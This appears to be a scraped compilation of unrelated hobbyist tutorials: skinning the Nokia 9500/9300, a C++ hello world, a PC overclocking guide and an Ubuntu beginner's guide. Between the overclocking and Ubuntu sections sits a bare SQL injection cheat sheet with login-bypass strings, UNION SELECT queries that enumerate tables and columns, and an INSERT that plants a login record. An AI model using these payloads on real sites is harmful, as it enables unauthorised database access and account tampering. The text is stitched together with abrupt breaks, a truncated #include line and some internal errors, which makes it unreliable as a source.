Follow these three steps to install the Bliss skin:

2. Use the File manager in your phone to locate the files you just transfered and copy/paste the file 'skinpath.txt' to C:\System\Data\SkinConfig. Then copy/paste the folder '0x101F8EDC' to C:\System\skins\ (if you don't have a 'skins' folder, just create one).

3. Reboot your phone.

The backgrounds for the skin can be found In the 'Blissbackgrounds' folder. The 'blissback' picture is to be used as your Desk wallpaper, and the two other pictures are to be used as backgrounds in the PowerDesk application. And the last one ('blissfront') can be used as a background on the front/phone side.

To remove the skin, or change to one of the default skins, you must delete or move the file 'skinpath.txt' from C:\System\Data\SkinConfig and reboot your phone.

NB: The 'Display' option under 'Control panel' will be unavailable when you use the skin.

Finally, the article you’ve all been asking for. Hayden ‘Switchblade’ Smith takes a look at the plain and drab colours of the Nokia 9500 and 9300 and shows you how to skin your own themes. This article comes with a repetition of some common sense. Make sure you back up your phone before attempting this, and if you get into trouble and loose data, then that’s why you backed up. Although I’m sure we’ll be around on the Forums to help you out, all this is at your own risk.

Introduction


In this article we’re going to look at what’s called "skinning," a term used to describe changing the desktop to another look. What you should realise is, of course, that the basic view of the Series 80 desktop is, in fact, a skin. There are just no notes on how to change this yourself included with the phone.


Where Everything Goes

All the skin data is stored on the Z: drive (which we can't look at on the device), but fortunately it is reproduced in full in the Series 80 Software Development Kit (SDK) as this includes an Emulator. The standard Nokia skins consist of 11 graphical files (MBM files), with these MBM file containing almost 250 separate images. There are 2 SKE files containing information on images for the messaging application, and a single SKN file containing information on the location of the MBM files, which fonts are used, and which colours are displayed.

The zip file download for this tutorial contains all the files you will need to install a new skin. The actual process of installing the skin is copying a skinpath.txt file to c:\system\data\skinconfig. Very important, do not edit this file in Notepad or Documents on the smartphone as you will corrupt it and the skin will not work, causing your phone to revert to the default skin. Once you’ve copied the skinpath.txt file, place the contents of the Skins folder (from the tutorial zip file) into c:\System\Skins\ while preserving the rest of the directory structure The files in C:\system\skins\0x101F8EDB\ contain all the data about our new skin that Series 80 needs.

But how do we make the contents of the Skins folder? Unzip the "editable" folder onto your PC. In the "editable" folder are 11 more folders, one for each MBM file (the folder names match the MBM file names that exists in the "0x101F8EDB" folder). These folders contain all the bitmapped images from the MBM files in numerical order. When you come to recompile the MBM files with your own images, make sure you get the order correct or the skin will not work, display incorrectly, or possibly soft reset your device. These BMP files are what you need to edit in your image editor to make your own skin, you can change as much or little as you want. When making your own MBMs I'd recommend using Dazler's MBMWhizzard application available, which you can download from his site, along with a tutorial on how to use it.

So far I've be using Symbian’s command line tool, bmconv.exe, application, but typing out the command line to merge 103 bitmaps into one file is murder.

Editing A Skin

You’ll want to read this in conjunction with the reference lists at the end of this article.

First get the background image you want to work with, I thought I'd start with some thing simple as this Matrix Wallpaper. When choosing your wallpaper remember that the clock on the Desktop always has a solid colour background, so you will need to select a design where this will not effect the aesthetics. Resize or crop your image until you have an 800x200 pixel image. This image is going to be sliced and diced a million ways to make all the elements. It’s rather like making a digital jigsaw.

Now open bitmaps 1-4 of Skinappview, create a new layer on each and overlay your image. Your skin should only occupy the non-white areas, so get your graphics package to copy the image (overlay) only if the area underneath is not white. Similarly with bitmap 9, this is the top left corner of the screen. Once done you are now ready these nine images into one MBM image.

Next we need to make your desk wallpaper (which will fill the white area that we avoided in Skinnappview). Crop the first 92 pixels from your 800x200 image. Now copy the next 463x200 pixel section into a new file. Crop 6 pixels from the top and then save the resulting 463x194 image as a jpg image. When you install your skin, set this image as your wallpaper to complete the effect.

For the CBA panel (that’s the column on the right which shows the options for the four soft buttons), copy a 200x200 pixel section following on from the section used for the wallpaper and save it as all 3 images in the skincommandbar folder. This is the second completed MBM Image, so go ahead and compile this as well.

For skinapptitle, overlay the image in bitmap 5 with a 640x480 selection of your chosen wallpaper starting at point (92,0) on the image. This removes the thin coloured bar at the top of the desk screen, so needs to be this exact section to fit in on the desktop. Bear in mind that certain views will cause this image not to fit in if you are using a strong pattern or picture.

Now all that remains is to edit the relevant items in skinwidget, skinscrollbar and skindialogframe to fit in with your colour scheme, then compile those images into MBM files. There is the mildly mammoth task of editing the orange.skn file to correct the colours to be as you desire (this skin is based on the Orange skin file, hence the filename orange.skn). I'd recommend taking a few screenshots then adjusting the colours in an art package such as Paint Shop Pro, and then using the colour values (which will be displayed by your graphics application) from your mockup in your .skn file. The second appendix to this article lists all the colour values that have been worked out so far. We’ll edit this and keep it up to date as we discover more.

Now we can take these MBM files, and the SKN file, and drop them into the C: of our 9500, and there we go.

Appendix 1: List of MBM files and what they contain:

1. MMSFORM.MBM - Images relating to the media applications regarding what opens the MMS file you have received.
2. MSGEDITORVIEW.MBM - Borders and lines used by the messaging application.
3. SKINAPPTITLE.MBM - The Application title bar background, note only 2 images contain data, the rest are blank, I don't know why.
4. SKINAPPVIEW.MBM - Images on the left hand side panel and title bar as used in various guises, images 1-4 and 9 are the ones you should edit, remembering to keep your design out of the white-space.
5. SKINBORDERS.MBM - Borders for various panes.
6. SKINCOMMANDBAR.MBM - The right hand side Control Button Area background (remember display.mbm all 9210 skinners), contains 3 identical images (no idea why 3) sized 200x200 pixels.
7. SKINDIALOGFRAME.MBM - Image files for all the dialogue box frames and tabs.
8. SKINGENERAL.MBM - General images used in various places on the device.
9. SKINMENU.MBM - All the images used for borders and graphical extras on the menus.
10. SKINSCROLLBAR.MBM - Frighteningly enough all the images used to make the scrollbars.
11. SKINWIDGETS.MBM - Icons and small images used around the device.

Appendix 2: List of SKE Files and contents.

1. MmsUiFormDefaultSkin.ske - Details of the images in MMSFORM.MBM and colours to use with it for use with MMS messages.
2. MsgEditorView.ske - Details of the images in MSGEDITORVIEW.MBM for the messaging application.

Appendix 3: SKN file values

The SKN file is just a plain text file editable on your PC or device. It contains colour data for all the applications on the 9500 (apart from applications that assign their own colours for themselves), information on the SKIN*.MBM files, and information on fonts used on the device. Below is a list of colour numbers and the relevant application that is effected by that change.

You do not need to include every colour in your SKN file, any that are not included will use the default colour from the default skin. The values should be in decimal format 0-255 and are RGB. Hence to set the main background colour to a bright red I would use a very small SNK file of three lines…

[code]
2 255 0 0
[/code]

You can add in as many lines to your SKN file as you need, just remmber to stick to the syntax of…

[code] [red component] [blue component] [green component]

…on each line.

Spyware, adware, malware. All of this stuff is junk, whether you find it useful or not; its not going to do your computer any good. In todays lesson I’m going to give you some tips and get you In the Know of a free and effective way to protect your computer. (Click the image to the left to enlarge).

This tutorial is for those people who want to learn programming in C++ and do not necessarily have any previous knowledge of other programming languages. Of course any knowledge of other programming languages or any general computer skill can be useful to better understand this tutorial, although it is not essential.

// my first program in C++

#include 
using namespace std;

int main ()
{
cout << "Hello World!";
return 0;
}

Hello World!

Basic Overclocking Tutorial

Section 1: Intro and Preparation
Overclocking has been the goal of computer performance junkies since custom computers first began to make themselves available to public consumers. It has often been tagged as “risky” behavior and most manufacturers will void the warranty if overclocking is attempted.
Well I am going to unveil some of the mystery of overclocking by giving a step by step guide to increasing computer performance through the art of overclocking. Please read the entire guide before beginning. This guide is designed in such a way that you can quit at any time and keep the performance increase gained in that section, or you can continue till there is nothing left to squeeze, and your computer runs rings around similarly spec’d machines.

So you want to overclock?
Overclocking, while not terribly difficult, does require time, patience, and the knowledge that there is a chance that your computer may not function afterwards. Now before you decide that the risk is not worth the benefit, know that if you follow the procedure and do not use too large of an increment, and continually test for stability, there is a VERY low chance of frying something. (Yet I take no responsibility for anything anyone does to their computer as a result of this tutorial or as a result of their own stupidity)
Before we begin you need to know whether or not your computer is in fact overclockable, and the degree of flexibility you have. If you have a computer build by a mega-company such as Dell, HP, Compaq, E-machines, Gateway, etc. the odds are that you will not be able to overclock anything except possibly your video card (which is covered in a later section). You can check the overclockability of your computer by entering the cmos setup. This is different on some computers but 9 times out of 10, this is done by pressing the delete key sometime during bios operations. Very often you will see something that looks like this

Notice at the bottom it says “Press DEL to enter SETUP”, you would now press delete and find yourself in the cmos setup. Depending on the type of bios you have and the version it could look one of many different ways, but it should look something like this.
*Note: while in cmos setup you cannot use your mouse

Now regardless of the type of bios you have you need to find whether or not you have the ability to change the Front side bus speed (sometimes called FSB Clock, CPU Clock or CPU frequency), CPU voltage (sometimes called: Vcore, core voltage), CPU clock multiplier (sometimes called: clock multiplier, cpu multiplier, cpu ratio, Hammer FID), memory clock(optional, sometimes called Dram, DDR, or Dimm clock), memory multiplier(optional), memory voltage(optional, sometimes called: Dram, Dimm, or DDR voltage), agp/pci clock (optional), agp/pci voltage(optional), chipset voltage(optional) spread spectrum(recommended but optional) and others. The actual name may be different from what is listed above look for names similar, keeping an eye out for keywords such as “voltage” and “clock”.
If your cmos setup looks like the screen above, the settings will be under the “Frequency/Voltage Control” section. Otherwise they may be under a section called “Advanced” or “performance” or something similar. You need to find if you are able to change the above listed settings. You will know if you cannot change them if they are not listed, or they are shaded out. You may be able to change them by selecting them hitting enter and typing a new value, by selecting them and using arrows to right or left, or by selecting them hitting enter and using the +/- keys. If you cannot change the cpu multiplier, you can still overclock but you will be somewhat limited. Here is a screenshot of a couple of frequency voltage pages.

Alright, once it has been determined that you can in fact change these settings you need to check out your thermal wiggle room.

Thermal Characteristics
Open your computer and clean out all the fan and use canned air to blow out all the dust from the vans and cooling fins.
Turn on your computer, we now need to get the computer ready for testing. If you do not already have it installed (which is most likely the case) download and install 3DMark06, you should also have installed a high demand resource intensive FPS or RPG, (WOW does not qualify), something like CoD2 or newer(depending on computer age too, ie-don’t use fear for testing a 500 Mhz Pentium 3 machine), something with lots of physics usually brings out a cpu instability, And the only RTS that I have seen suitable is company of heroes. Ideally you want something that slows your system but that doesn’t lag enough to be choppy. You won’t be looking for frame rate so much as artifacts, freezing and crashes. Now run 3Dmark06 and record the score. Next play your game for 15 min. or so through some high demand areas where lots of stuff is happening.
Immediately restart your computer and go under PC Health Status (again this depends on your bios) And find the CPU temperature. There are many convenient hardware (probes) and software things for testing your computers temperatures without leaving windows but for simplicity we will use the motherboard sensors. Now check the CPU temperature.

The CPU temp you find is approximately what your cpu temp is under load, although realistically this is probably a little low, but should still be within 5˚ or so of your actual load temp depending on how long it takes your computer to reboot. From now on if when you check your cpu temp this is what you are looking for, only check it after you have run the game and benchmark programs otherwise it will be noticeably lower and what we call you cpu idle temperature. Expect your idle temperature to be 5-20˚ lower than your load depending on how quickly you can check it after playing a game. Safe Max temperatures are as follows.
“Safe” means if your temp is here you are good to go, “Max Safe” means as long as you don’t cross this you don’t REALLY need to worry, “Max” means you are defiantly on the hot side, “Melting” means you have crossed the border, you are WAY too hot and your computer is at risk of being seriously damaged, underclocking is in order to prolong the life of your machine
ALL temperatures are approximate, and thresholds vary with each chip.
Core2 duo
Safe=<60˚
Max Safe=65˚
Max=70˚
Melting =75˚-80˚
Pentium 4(varies greatly with core type)
Safe=<70˚
Willamette Max Safe=80˚
Melting=95˚-100˚
Northwood Max Safe=75˚
Melting=85˚-90˚
Celeron(again varies greatly with model)
Safe=<65˚
Max Safe=70˚
Melting=75˚-85˚
Pentium M
Safe=<80˚
Max Safe=85˚
Melting=93˚-97˚

Athlon 64
Safe=<60˚
Max Safe=65˚
Melting=70˚-75˚
Athlon xp
Max Safe=85˚
Melting=90˚-95˚
Athlon 64 X2
Max Safe 65˚
Melting 75˚
Semperon(varies greately with model)
Max Safe=65˚
Melting=70˚+

The distance between the temperature you found in your bios and the processor in the list above is your overclocking wiggle room. You can increase this wiggle room buy buying an aftermarket heatsink or cooler. We will go into cooling in greater detail in a later section.
Section 2: Beginning the Overclock, Modifying the FSB

The first baby step of overclocking is modifying the FSB speed. There is virtually NO risk involved in modifying the FSB because nothing will melt, the worst that could happen is a boot failure which is dealt with later in this section. Before you start you should disable spread spectrum if possible, because it reduces stability when changing the FSB.

Now scroll down to FSB (in this screen shot its called CPU clock, the names of things are discussed earlier in section 1) and increase the value by 20.
At his point you probably have no idea what the effects are going to be exactly, you are asking yourself, “what does this number (140 MHz in the example), have to do with my processor speed”. Your processor speed is this number multiplied by the clock multiplier(10 in the example), so the processor speed of the example computer is currently 1.4 GHz. If you were to increase the value of this FSB by 20 the processor would then be running at 1.6 GHz. If you cannot see the Multiplier number on your bios screen you can check the new speed of the processor in windows by right clicking on ‘my computer’ and going to properties.

Your computer is now very lightly over clocked, and you must check for stability. If you computer booted to windows you should now run the benchmark utility(3Dmark) and play your game for around 5 min. If it runs flawlessly continue raising the FSB by 5MHz increments until you find your highest stable speed. If your computer crashes, freezes, or you get artifacts at any point during the benchmark or the game, or if your computer fails to boot, you have already carried your computer past where it can be over clocked by only modifying the FSB. If you failed to boot to windows but made it to the bios just return the FSB to its original position and adjust by 5MHz increments until you find its stable point. If you failed to make it to the bios, hit the reset button on your motherboard(if your board has one), or unplug the cmos battery. The cmos battery is the only battery on the motherboard, it is round and flat, looking like a large watch battery. Here is a picture of a cmos battery with the release tab circled. All cmos batteries have this tab.
In the benchmark the thing you are looking for is the CPU score, but also take note of the total score. You need to watch that it only increases. Most times your score will increase only up to a point and then decreases before your computer becoming unstable; you want to be at the peak. There is always a variation of a few points up or down after each run so keep that in mind. Also be sure to watch that the temperature does not go too high.

Section 3: More Performance, FSB and Multiplier

Sometimes someone can squeeze quite a lot of power out of an old computer by just turning up the fronts side bus. More often than not, however, the increase is barely noticeable, but changing the FSB in tandem with the cpu multiplier is where you will notice your biggest boost in performance. If your bios does not give the option to change the multiplier, then you are out of luck, but don’t give up hope, you can still squeeze a little more out if you are brave by tampering with the voltage(skip to section 4).
You already know how the cpu speed is calculated from the FSB speed and the multiplier. Logic than leads us to assume that hypothetically you can achieve the same speed by raising one and countering by lowering the other. For example(remember hypothetical only here), the speed of 1.4 GHz in section 1 can be reached by having a FSB of 140 and a multiplier of 10, a FSB of 70 and a multiplier of 20, a FSB of 280 and a multiplier of 5, etc. and in an ideal computer all of these combinations would work, but realistically that is not the case. Still, we use this principle to overclock further than was possible through simply modifying the FSB.

The FSB controls a lot of on-motherboard functions, so increasing it generally increases the speed of many components other than cpu such as north and south bridges as well as other things. Where as changing the CPU multiplier only changes the CPU speed. Thus, by lowering the multiplier and boosting FSB further we can pull more power from our system.
Begin by lowering the multiplier by the smallest increment possible, depending on your motherboard it will probably be either 1, 0.5, or 0.1. Then raise your FSB until it becomes unstable again. It should be when the total cpu speed comes close to what it was when you just changed the FSB. Repeat until performance peaks. Remember to keep an eye on temperature.
If at any time you lose the ability to boot you follow the same steps that you would if you had only increased the FSB.

Section 4: Voltages
“Scotty, we need more power!”
“Cap’n I’m given her all she’s got!”

Ah! Changing the voltages, you must be a brave soul indeed to be considering this. This is the most dangerous step of over clocking but once again the gains are noticeable. You must realize that going too far may mean the end of the road and you’ll need a new cpu and/or motherboard. Scares aside however, changing the voltages is not difficult, and so long as you don’t get too greedy and watch your temperatures there should be no trouble.
Boosting the voltage by itself will barely(if at all) improve performance or scores. The value of raising the voltage comes through the stability that it provides. Raising the voltage does two primary things, increase stability, and increase temperature. Boosting the voltage will noticeably raise the temperature of your cpu. A good rule of thumb is to never raise the voltage more than 0.4-0.5 volts higher than the default even if your temperatures look good. When raising the voltage raise by the smallest increment possible. And now when you do your testing there shouldn’t be any additional crashes, freezes, or artifacts, in fact it should run better, but you NEED to watch your temperature.
If you notice smoke, its too late, just thought id let you know.

Section 5: Cooling; passive, air, water, phase change and peltier

So how do you get your temperatures lower? You buy a new cpu cooler. The one that comes with your cpu is good for keeping the temps low for normal use and limited overclocking, but to get real freedom you need to buy an aftermarket cooler. There are many types, listed from most effective to least: passive, air, water, peltier, and phase change. A lot of people like passive air heatsinks because they have no fan, which reduces the noise your computer makes by quite a bit. The flip side of the coin is that they usually do not cool as well. There are two primary materials that coolers are made of copper and aluminum. Copper is better because it transfers heat better. Water cooling is a very common choice for overclockers. It drops the cpu temp by sometimes as much as 25˚, but there is a penalty in increased maintenance and the risk of a leak. Bother peltier coolers and phase change coolers work by actively creating a cold surface, in fact a phase change cooler can lower a cpu down to the teens or twenties at idle. The down side to these fancy coolers is cost.

***entering as first person on sql database***
--text box--
login: hi' or 1=1--
pass: hi'or 1=1--

--url bar--
http://site/index.asp?id=hi' or 1=1--

%Note: you can replace the 1's with things like a's or 0's and such

***retreiving table names***
--text box--
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

--url bar--
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

http://site/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

***to retreive column names***
--text box--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tablename'--

%Note replace the '"tablename text with what the tables name is!!!

--url bar--
http://site/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='tablename'--

***retreive getting data from table***
--text box--
UNION SELECT TOP 1 table_name FROM column_name--


--url bar--
http://site/index.asp?id=10 UNION SELECT TOP 1 table_name FROM column_name--


***Inserting data into a databse!***
INSERT INTO 'table_name'('login_id','login_name','password') VALUES (111,name,pass)--


--url bar--
http://site/index.asp?id=10 INSERT INTO 'table_name'('login_id','login_name','password') VALUES (111,name,pass)--

End

ok, so one of the first thing that most people (including me) want to do when they get ubuntu, is make it more user friendly and usable. now, there are a few ways to do this. what I'm going to show you how to:

now, that is the order i'm going to teach you in. So, let's get started...

installing themes

now, installing themes is as easy as a few clicks. 2 good sites to look at are http://gnome-look.org and http://art.gnome.org.

now, all you have to do to download the theme you want, is navigate to the theme you want, click the download button, and save it to your desktop. Now to install it, go to system > preferences > appearance. a box like this should come up:

now, in the first box (the one you can see on the screen), all you need to do, is drag and drop the theme you downloaded into the box, and click apply this theme, or whatever your message is. then, click the save button, and name it whatever you like, and voila, you've just installed your first theme.

adding a wallpaper

Now this is really easy. i dont even need pictures to explain this. All you have to do is get your picture (whether it's off one of the sites i gave you, or google etc), right click the picture, and click "set as desktop wallpaper/background". in the drop down menu in that little box, select "stretch" and then click OK, close the box, and enjoy your new wallpaper.

installing apps

this is probably one of the hardest things to grasp at first about ubuntu. It isn't like windows, where you go to a site, click download and it installs it for you with an easy install wizard. in fact, it's much easier than that. there are 2 places where all the apps and packages you will ever need are kept. You can also install through the terminal using apt-get, but for a beginner, that can seem a bit daunting (I know it did for me).

If you want to install an application, simply go to "applications", then "add/remove". this screen will come up:

all you have to do from there is search for your app, tick the box next to it, and click apply.

if you want to install packages instead of an app, go to "system", then "administration". this screen will come up:

do the same routine here. search for the package, tick the box (and click mark for installation), then click apply, and let it install.

I hope this tutorial has helped, and if you need any more advice, please either post your problem on here, or on http://ubuntuforums.org